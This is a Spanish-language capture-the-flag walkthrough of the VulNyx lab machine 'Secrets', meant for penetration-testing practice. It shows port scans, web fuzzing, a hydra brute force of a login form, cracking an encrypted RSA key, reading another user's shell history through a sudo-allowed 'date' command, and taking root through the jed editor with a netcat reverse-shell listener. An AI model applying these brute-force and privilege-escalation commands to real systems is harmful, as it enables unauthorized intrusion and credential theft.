VulNyx - Secrets
- Cracking Private RSA Key
- Leakage Credentials Information
- Abuse Jed Binary
Escaneo de puertos
❯ nmap -p- -v -T5 -n 192.168.1.129
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Escaneo de servicios
❯ nmap -sVC -v -p 22,80 192.168.1.129
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 6b36d8beac2439bfbaa9a717e15e00f2 (RSA)
| 256 1d20e44ba4e70871ebd341e1ee941c61 (ECDSA)
|_ 256 e3936fb30ba3c30ef70d4cb6db3ced90 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
En el puerto 80 veo el siguiente mensaje:
Al ver el código fuente de la página enumero un posible usuario.
Con wfuzz encuentro el directorio secrets.
❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://192.168.1.129/FUZZ' --hc=404 --hl=68
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.129/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000007923: 301 9 L 28 W 316 Ch "secrets"
Si me voy al directorio secrets leo el siguiente mensaje:
Dentro del directorio secrets realizo una búsqueda de extensiones en php y txt.
❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://192.168.1.129/secrets/FUZZ.FUZ2Z' -z list,php-txt --hc=404 --hl=1,9
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.129/secrets/FUZZ.FUZ2Z
Total requests: 441120
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000006741: 200 12 L 32 W 429 Ch "login_form - php"
En login_form.php
encuentro un formulario para iniciar sesión.
Con burpsuite intercepto la petición de login.
POST /secrets/MK67IT044XYGGIIWLGS9.php HTTP/1.1
Host: 192.168.1.129
Content-Length: 23
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.129
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.129/secrets/login_form.php
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9
Connection: close
user=brad&password=1234
Introduzco los datos obtenidos con burpsuite a hydra y encuentro la contraseña de brad.
❯ hydra -V -t 50 -l brad -P /usr/share/wordlists/rockyou.txt 192.168.1.129 http-form-post "/secrets/MK67IT044XYGGIIWLGS9.php:user=brad&password=^PASS^:Invalid Credentials" -f -I
[80][http-post-form] host: 192.168.1.129 login: brad password: b*****y
Me logueo como usuario brand y me sale el siguiente mensaje:
Al realizar una consulta me contesta que sólo acepta números.
Para pasar de dirección IP a decimal he usado este sencillo script.
#!/bin/bash
ip_to_decimal() {
IFS='.' read -r -a octetos <<< "$1"
decimal=0
for ((i=0; i<4; i++)); do
octeto=${octetos[i]}
decimal=$((decimal*256 + octeto))
done
echo "$decimal"
}
read -p "Ingresa la dirección IP: " ipv4
decimal=$(ip_to_decimal "$ipv4")
echo "La IP $ipv4 en formato decimal es: $decimal"
Uso el script para pasar de dirección IP a decimal ip2dec.sh
.
❯ ./ip2dec.sh
Ingresa la dirección IP: 192.168.1.1
La IP 192.168.1.1 en formato decimal es: 3232235777
Introduzco la dirección IP en formato decimal y me muestra lo siguiente.
Uso de nuevo ip2dec.sh
para mandar una consulta a mi equipo y capturar el tráfico con tshark para saber que es lo que está pasando.
❯ ./ip2dec.sh
Ingresa la dirección IP: 192.168.1.18
La IP 192.168.1.18 en formato decimal es: 3232235794
Pongo mi dirección IP en formato decimal.
Dejo tshark a la escucha filtrando por color y con la dirección ip de la máquina objetivo para tener una salida más clara y veo que manda datos usando el puerto 6666.
Sabiendo esto dejo un netcat a la escucha por el puerto 6666 vuelvo a mandar la consulta y recibo una llave rsa.
Como se puede observar esta llave rsa está encriptada así que uso la herramienta RSACrack para encontrar el passphrase.
❯ ./RSAcrack.sh -w /usr/share/wordlists/rockyou.txt -k id_rsa
╭━━━┳━━━┳━━━╮ ╭╮
┃╭━╮┃╭━╮┃╭━╮┃ ┃┃
┃╰━╯┃╰━━┫┃ ┃┣━━┳━┳━━┳━━┫┃╭╮
┃╭╮╭┻━━╮┃╰━╯┃╭━┫╭┫╭╮┃╭━┫╰╯╯
┃┃┃╰┫╰━╯┃╭━╮┃╰━┫┃┃╭╮┃╰━┫╭╮╮
╰╯╰━┻━━━┻╯ ╰┻━━┻╯╰╯╰┻━━┻╯╰╯
-=========================-
[*] Cracking: id_rsa
[*] Wordlist: /usr/share/wordlists/rockyou.txt
[i] Status:
3***/14344392/0%/s******y
[+] Password: s******y Line: 3***
Me conecto al sistema usando la llave rsa.
❯ ssh -i id_rsa brad@192.168.1.129
Enter passphrase for key 'id_rsa':
Linux secrets 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64
brad@secrets:~$
Enumero permisos de sudo y veo que tengo que pivotar al usuario fabian.
brad@secrets:~$ sudo -l
Matching Defaults entries for brad on secrets:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User brad may run the following commands on secrets:
(fabian) NOPASSWD: /usr/bin/date
Para pivotar de usuario he usado este recurso de gtfobins. Encuentro las credenciales en el history del usuario fabian.
brad@secrets:~$ LFILE=/home/fabian/.bash_history
brad@secrets:~$ sudo -u fabian date -f $LFILE
date: fecha inválida «passwd fabian»
date: fecha inválida «s*****$$$****$$$»
Me logueo como fabian.
brad@secrets:~$ su fabian
Contraseña:
fabian@secrets:/home/brad$ cd
fabian@secrets:~$ id
uid=1001(fabian) gid=1001(fabian) grupos=1001(fabian)
Enumero permisos de sudo.
fabian@secrets:~$ sudo -l
Matching Defaults entries for fabian on secrets:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User fabian may run the following commands on secrets:
(root) NOPASSWD: /usr/bin/jed
Lanzo el programa para ver de que se trata.
fabian@secrets:~$ sudo jed
Para moverme entre las pestañas pulso F10, con las flechas me voy a la pestaña system y luego selecciono Shell Command.
Al pulsar enter puedo escribir comandos.
Obtengo el root.
❯ nc -lvnp 1337
listening on [any] 1337 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.129] 55212
script /dev/null -c bash
Script iniciado; el fichero es /dev/null
root@secrets:/home/fabian# id
id
uid=0(root) gid=0(root) grupos=0(root)
Y con esto ya tenemos resuelta la máquina Secrets.
Saludos!